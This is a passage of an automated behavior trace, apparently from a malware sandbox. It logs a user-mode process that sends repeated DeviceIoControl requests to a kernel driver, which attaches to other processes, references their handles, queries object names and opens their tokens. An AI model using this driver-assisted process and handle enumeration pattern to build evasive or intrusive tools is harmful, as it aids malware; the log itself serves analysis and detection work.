lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.537] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.537] PsAcquireProcessExitSynchronization () returned 0x0 [0094.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0) [0094.537] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.537] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.537] PsReleaseProcessExitSynchronization () returned 0x2 [0094.537] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0094.537] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.537] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.537] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.537] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.537] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0094.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.537] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0094.537] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.537] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0094.537] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.537] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.537] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.537] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.537] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.765] CloseHandle (hObject=0xc8) returned 1 [0094.765] CloseHandle (hObject=0xc0) returned 1 [0094.765] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.765] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.765] PsAcquireProcessExitSynchronization () returned 0x0 [0094.765] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0) [0094.765] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0094.765] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.765] PsReleaseProcessExitSynchronization () returned 0x2 [0094.765] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0094.765] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.765] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0094.765] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.765] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.765] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0094.765] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.765] PsAcquireProcessExitSynchronization () returned 0x0 [0094.765] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0) [0094.765] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0094.765] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.765] PsReleaseProcessExitSynchronization () returned 0x2 [0094.766] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0094.766] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.766] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0094.766] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.766] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.766] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.766] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.766] PsAcquireProcessExitSynchronization () returned 0x0 [0094.766] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880052335d0) [0094.766] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.766] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.766] PsReleaseProcessExitSynchronization () returned 0x2 [0094.766] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0094.766] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.766] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.766] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.766] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.766] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0094.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.766] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0094.766] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.766] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0094.766] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.766] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.766] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.766] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.766] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.768] CloseHandle (hObject=0xc8) returned 1 [0094.768] CloseHandle (hObject=0xc0) returned 1 [0094.768] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.768] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.768] PsAcquireProcessExitSynchronization () returned 0x0 [0094.768] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0) [0094.768] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0094.768] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.768] PsReleaseProcessExitSynchronization () returned 0x2 [0094.768] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0094.768] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.768] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0094.768] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.768] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.768] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0094.768] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.768] PsAcquireProcessExitSynchronization () returned 0x0 [0094.768] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0) [0094.769] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0094.769] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.769] PsReleaseProcessExitSynchronization () returned 0x2 [0094.769] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0094.769] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.769] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0094.769] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.769] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.769] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.769] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.769] PsAcquireProcessExitSynchronization () returned 0x0 [0094.769] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880052335d0) [0094.769] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.769] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.769] PsReleaseProcessExitSynchronization () returned 0x2 [0094.769] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0094.769] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.769] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.769] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.769] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.769] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0094.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.769] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0094.769] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.769] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0094.769] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.769] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.769] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.770] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.770] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.771] CloseHandle (hObject=0xc8) returned 1 [0094.771] CloseHandle (hObject=0xc0) returned 1 [0094.771] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.771] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.771] PsAcquireProcessExitSynchronization () returned 0x0 [0094.772] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0) [0094.772] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0094.772] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.772] PsReleaseProcessExitSynchronization () returned 0x2 [0094.772] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0094.772] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.772] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0094.772] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.772] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.772] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0094.772] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.772] PsAcquireProcessExitSynchronization () returned 0x0 [0094.772] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0) [0094.772] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0094.772] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.772] PsReleaseProcessExitSynchronization () returned 0x2 [0094.772] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0094.772] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.772] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0094.772] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.772] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.772] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.772] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.772] PsAcquireProcessExitSynchronization () returned 0x0 [0094.772] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880052335d0) [0094.772] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.772] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.773] PsReleaseProcessExitSynchronization () returned 0x2 [0094.773] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0094.773] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.773] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.773] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.773] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.773] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0094.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.773] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0094.773] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.773] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0094.773] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.773] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.773] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.773] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.773] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.774] CloseHandle (hObject=0xc8) returned 1 [0094.774] CloseHandle (hObject=0xc0) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.775] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.775] PsAcquireProcessExitSynchronization () returned 0x0 [0094.775] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0) [0094.775] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, 